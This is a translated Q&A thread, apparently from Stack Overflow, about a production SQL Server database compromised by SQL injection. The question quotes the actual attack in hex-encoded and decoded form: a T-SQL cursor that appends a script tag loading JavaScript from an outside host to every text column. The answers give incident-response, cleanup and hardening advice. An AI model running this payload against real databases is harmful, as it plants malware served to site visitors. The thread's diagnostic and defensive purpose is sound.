HELP! O banco de dados de produção foi SQL INJECTED! [duplicado]

Question

Geeze, estou desesperada! Algumas horas atrás, nosso DB de produção foi injetado em sql.

Eu sei que temos alguns grandes buracos no sistema ... porque herdamos o site de um cara que fez isso no ASP clássico, sua programação foi realmente horrível e insegura. Então, passamos algum tempo migrando-o para o ASP.NET (primeiro 1.1, depois 2.0 e agora 3.5). Mas é um grande projeto e ainda há código antigo e inseguro. Eu não vou mentir, o projeto é uma bagunça, eu odeio isso, mas é o nosso cliente mais importante (somos apenas 2 jovens, não uma grande empresa).

Então eu sei que eles injetaram algumas referências do script js em todo o meu banco de dados de alguma forma .... Provavelmente foi através de uma página antiga usando consultas SQL de string concatenadas e jogando diretamente no db (porque o cara que inicia o projeto disse " Procedimentos armazenados não funcionam "..... então ele fez todo o site usando a concatenação de strings, e jogando-os diretamente para o sql sem fazer qualquer validação de segurança ou qualquer coisa.

Quando nós começamos o projeto, o cliente não queria gastar tempo refazendo a porcaria que o velho fez. Então tivemos que levar a um código ruim e inseguro e consertá-lo enquanto desenvolvíamos novos recursos, porque era isso que o cliente queria ... e agora que recebemos o SQL, eles ficam loucos, é claro.

SO ....

** Existe alguma maneira de verificar antigas consultas sql que foram executadas nas últimas X horas? Algo como o SQL Profiler faz (mas é claro que nós não tivemos o profiler aberto quando o ataque aconteceu)? Existe uma maneira de descobrir qual página é a vulnerável? Por favor, ajude, há muitas páginas. Não consigo pesquisar por aqueles manualmente sem saber com certeza qual deles era a página.

Também ... poderia haver outra maneira de injetar o db? Como usar uma solicitação do IIS ou js ou algo assim? **

Eu tenho acesso total à área de trabalho remota para a máquina do servidor (não é em um ambiente hospedado) para que eu possa acessar todos os arquivos, log, o que quer que esteja no servidor ...

Por favor, ajude!

PS: Desculpe, meu inglês não é tão bom, e agora é pior que eu esteja nervoso!

EDITAR

• Windows 2003 Server
• SQL SERVER 2005
• ASP .NET 3.5

O script que eles estão jogando é o seguinte

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

O que é traduzido para o texto é:

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

    

Answer 1

A primeira coisa a fazer é não entrar em pânico. Mas vejo que você pulou isso e decidiu

A segunda coisa é derrubar o site e garantir que ele não seja acessível do lado de fora até que você possa descobrir o que está quebrado. Comece a examinar os logs de acesso e tente descobrir qual é o problema principal.

A terceira coisa a fazer é ver se você faz backup do seu banco de dados regularmente e apenas faz um rollback. Você pode perder alguns dados, mas você estará em um lugar melhor do que você está agora

A quarta coisa a fazer é - NÃO - dar o URL, porque aparentemente não é seguro

    

Answer 2

Definitivamente, certifique-se de instalar a versão mais recente do UrlScan - ela foi projetada para pisar nesse tipo de ataque.

Se você tiver logs do IIS, o ponto de entrada deve ser bastante óbvio - procure o que os hackers estavam martelando.

Outro bom backstop, se for possível, é negar os direitos INSERT e UPDATE à conta de usuário da web e digitá-los através de procedimentos armazenados. Esse tipo de recuo nos impediu de ter um problema semelhante com um aplicativo herdado semelhante quando esse era um ataque de dia zero.

Eu acho que você também pode remover o direito do usuário PUBLIC de escanear tabelas, o que deve impedi-los de fazer os ataques ao estilo "foreach table".

    

Answer 3

Como ponto de referência, este é o trabalho do ataque de SQL Injection do bot ASPRox. Parece surgir de vez em quando porque fica bastante viral quando sistemas comprometidos são encontrados. Você pode pesquisar no Google por "ASPRox bot" e obter alguns métodos adicionais de limpeza e outros tratamentos de prevenção. Acabei de encontrar o arquivo este PDF que tem uma boa visão geral sobre suas táticas e links para algumas opções de limpeza.

O problema é que o modelo de vírus / injeção basicamente usa cada campo de texto em TODAS as tabelas do banco de dados e coloca um pequeno trecho que chama a URL especificada para tentar infectar quaisquer outros clientes da Web e tentar torná-los zumbis visite seu site.

Portanto, verifique todos os bancos de dados nesse servidor em questão, não apenas aquele com o banco de dados envolvido para fazer uma limpeza adequada.

Parece que você está no caminho certo com as sugestões aqui, mas ter algumas referências "formais" ao nome do vírus pode ajudar em necessidades adicionais.

    

Answer 4

Primeiro, você precisa desativar o site para evitar novos ataques de injeção.

Em segundo lugar, você precisa fazer uma auditoria de segurança para determinar que registro você possui e qual segurança está em vigor no sistema e determinar como os invasores entraram.

Em terceiro lugar, você precisa colocar em log o registro e a segurança para as áreas em que você foi comprometido, no mínimo. Coloque em prática um sistema para detectar a invasão que informa imediatamente (como um pager).

Em quarto lugar, informe a gerência que o tempo de inatividade é uma consequência de ignorar a segurança.

    

Answer 5

Verifique os registros do IIS para descobrir qual página eles usaram para fazer a injeção. Escusado será dizer que você precisa corrigir ou desativar essa página rapidamente.

A melhor abordagem depende do tipo de site. Se for possível, leve o site para baixo até que você tenha restaurado um banco de dados não corrompido ou tenha revertido as alterações (isso requer logs detalhados). Em seguida, você pode colocar o site novamente em modo somente leitura até ter tempo para corrigir o (s) problema (s). Apenas restrinja a conta do SQL somente para SELECT.

Mesmo quando você concatena as strings de consulta, pode ficar bastante seguro com pouco esforço. Pesquisando todos os arquivos ASP para palavras-chave como SELECT e UPDATE irá revelar todas as consultas. Envolva todos os seus parâmetros com verificações básicas de integridade para começar.

Já que você provavelmente está com pressa, você pode dar uma olhada em algum código realmente antigo do meu ASP VBScript. Há um monte de SafeSqlWhatever funções lá para ajudá-lo a criar instruções SQL seguras. Nenhuma garantia, nunca foi destinado a ser público. No entanto, substituindo todas as entradas variáveis pela função SqlVar (someValue) , você deve começar. Você precisa remover as aspas simples do restante da string de consulta, pois o SqlVar as adiciona para você. Como alternativa, use as funções específicas para o tipo de valor que você espera:

Antes:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

Depois:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

PS: não, não é assim que deve ser, mas provavelmente é o mais rápido para colocar as coisas de volta em ordem, de onde você está agora.

    

Answer 6

Tentando responder à pergunta original sobre rastrear a consulta, pensei em fazer isso de outra direção, se o servidor não foi redefinido, puxe todas as consultas do cache de consulta, que meu mostrar qual consulta foi executada - assumindo que ainda está no cache.

SELECT  ( SUBSTRING(s2.text, (statement_start_offset / 2) + 1, ((CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(nvarchar(max),s2.text)) * 2) ELSE statement_end_offset END)- statement_start_offset)/2)) AS sql_statement
    ,execution_count
    ,(total_worker_time / 1000) as total_worker_time_milli_s
    ,(last_worker_time / 1000) as last_worker_time_milli_s
    ,((total_worker_time / execution_count) / 1000) as average_worker_time_milli_s
    ,min_worker_time
    ,max_worker_time
    ,last_execution_time
    ,qp.query_plan
FROM 
    sys.dm_exec_query_stats qs 
    CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS s2  
    CROSS APPLY sys.dm_exec_query_plan(qs.plan_handle) as qp
WHERE
    s2.objectid is null
ORDER BY
    total_worker_time desc

    

Answer 7

O IIS pode ter alguns logs que podem lhe dar algumas dicas de quais páginas foram acessadas, se você tiver o log ativado. Você pode verificar a configuração do site.

    

Answer 8

Eu primeiro me certificaria de que o usuário sql do aplicativo tivesse acesso de leitura por padrão. Adicione o acesso insert / update / delete apenas às tabelas onde é necessário.

Você precisa remover as referências .js do banco de dados? Usamos esse script um tempo atrás para remover todas as referências .js de todas as nossas tabelas. Is é um achado / substituição global para o banco de dados. Digite a referência .js onde você vê isto: PLACE BAD JAVA SCRIPT CODE HERE

DECLARE @T varchar(255),@C varchar(4000)   
DECLARE Table_Cursor1 CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)   
OPEN Table_Cursor1
FETCH NEXT FROM Table_Cursor1 INTO @T,@C WHILE(@@FETCH_STATUS=0)    
BEGIN exec('SELECT [' + @C + '] FROM [' + @T + '] WHERE [' + @C  + '] LIKE ''%.js%'' ')
FETCH NEXT FROM Table_Cursor1 INTO @T,@C END   
CLOSE Table_Cursor1 DEALLOCATE Table_Cursor1    

DECLARE @T varchar(255),@C varchar(4000)    
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)    
OPEN Table_Cursor    
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)    
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''PLACE BAD JAVA SCRIPT CODE HERE'','''')')     
FETCH NEXT FROM Table_Cursor INTO @T,@C END      
CLOSE Table_Cursor DEALLOCATE Table_Cursor

    

Answer 9

O que geralmente acontece é que o hacker (que geralmente é um bot) realiza uma pesquisa no google pelo que parecem ser possíveis pontos de entrada para injeção SQL (procurando por querystrings, procurando por, digamos "inurl: .aspx?" inurl:? id="). e então testa automaticamente a vulnerabilidade de injeção. Se você quiser encontrar o ponto de entrada, pode ser uma boa ideia enviar consultas semelhantes ao google e ver quais sites de querystring indexaram.

Continuando, esses scripts normalmente esperam que o script em execução tenha acesso a sysobjects, e nesse caso ele pode percorrer todas as tabelas do banco de dados e se autoinjetar em todas as colunas. Se isso aconteceu (o que eu acho, caso contrário a vulnerabilidade de injeção poderia ser considerada como sendo o código injetado), eu escrevi um script uma vez, que faz a mesma coisa, para pesquisar o banco de dados inteiro por um determinado valor. pode ser encontrado aqui:

http://pastebay.com/28400

Se você não tem backups (o que eu estou supondo pelo seu tom um pouco desesperado), esse script pode ser usado para localizar todas as colunas injetadas, e com uma pequena modificação, ele também pode ser usado para remover essas injeções fora.

Tanto para restaurar o ambiente. Depois disso vem a tarefa de garantir que isso não aconteça novamente. Você não está com muita pressa, quem te injetou provavelmente bateu em você aleatoriamente e não é provável que tente novamente em breve, mas aprenda uma lição com isso e torne-a uma questão prioritária. de qualquer maneira.

Como para proteger o site, bem, eu já mencionei a maneira do google de obter uma dica de onde estão as vulnerabilidades, mas na verdade, é hora de você enfrentar a tarefa de mover suas consultas sql, uma por uma para procedimentos armazenados, ou um OR / M, ou algo assim. uma vez que você tenha feito isso, você terá ido muito longe para arrumar sua fonte bagunçada.

    

Answer 10

Se você souber que há vulnerabilidades, considere usar um Firewall de aplicativos da Web , que é um filtro em execução na frente do servidor da Web, tentando evitar que entradas mal-intencionadas e ataques conhecidos cheguem ao seu aplicativo / base de dados. Dessa forma, você pode melhorar sua segurança ad-hoc sem reescrever e verificar seu aplicativo herdado.

Esta não é uma solução perfeita, mas com a situação dada, seria uma maneira rápida de corrigir uma quantidade maior de vulnerabilidades de segurança de uma só vez.

    

Answer 11

1. não entre em pânico.
2. coloque o site em manutenção.
3. inverta a injeção SQL aplicada.
4. corrija o h0le.
5. coloque o site novamente online.

Answer 12

Não sei se é possível ou não, mas você não forneceu os detalhes que as pessoas com conhecimento precisariam para ajudar.

• Qual é o seu mecanismo de banco de dados? (incluindo números de versão)
• Qual é o seu servidor web? (presumivelmente o IIS, mas qual versão?)
• Qual é o seu favorito ... nvm

Mas aplicativos específicos e números de versão de sua pilha transformariam isso em uma pergunta que alguém poderia responder.

Não há nada no SQL padrão que possa lhe fornecer essas informações, portanto, você está procurando extensões de fornecedores específicos ou ferramentas de administração.

    

Answer 13

Isso é difícil. Para descobrir qual era o ataque e o que ele poderia ter feito, eu veria seus logs do IIS, não o SQL. Dependendo do ataque, o log do IIS pode mostrar exatamente o que foi a injeção SQL.

Se não, eu imediatamente colocaria o log do IIS (e o log do SQL, e qualquer outro log) o mais alto possível. É possível que o invasor ainda esteja vasculhando e você queira acompanhar o que ele está fazendo e começar a desligar seus pontos de acesso o mais rápido possível.

Boa sorte!

    

Answer 14

Coloque seu site no ar e comece a trabalhar uma vez mais. Uma vez comprometida, entrar no seu sistema seria um pouco difícil.

Qualquer solução de meio período vai piorar as coisas no futuro.

    

Answer 15

Você também precisa assumir que este hacker agora tem uma cópia de todos os dados no seu banco de dados. Se isso inclui informações pessoais, você deve notificar as pessoas em questão.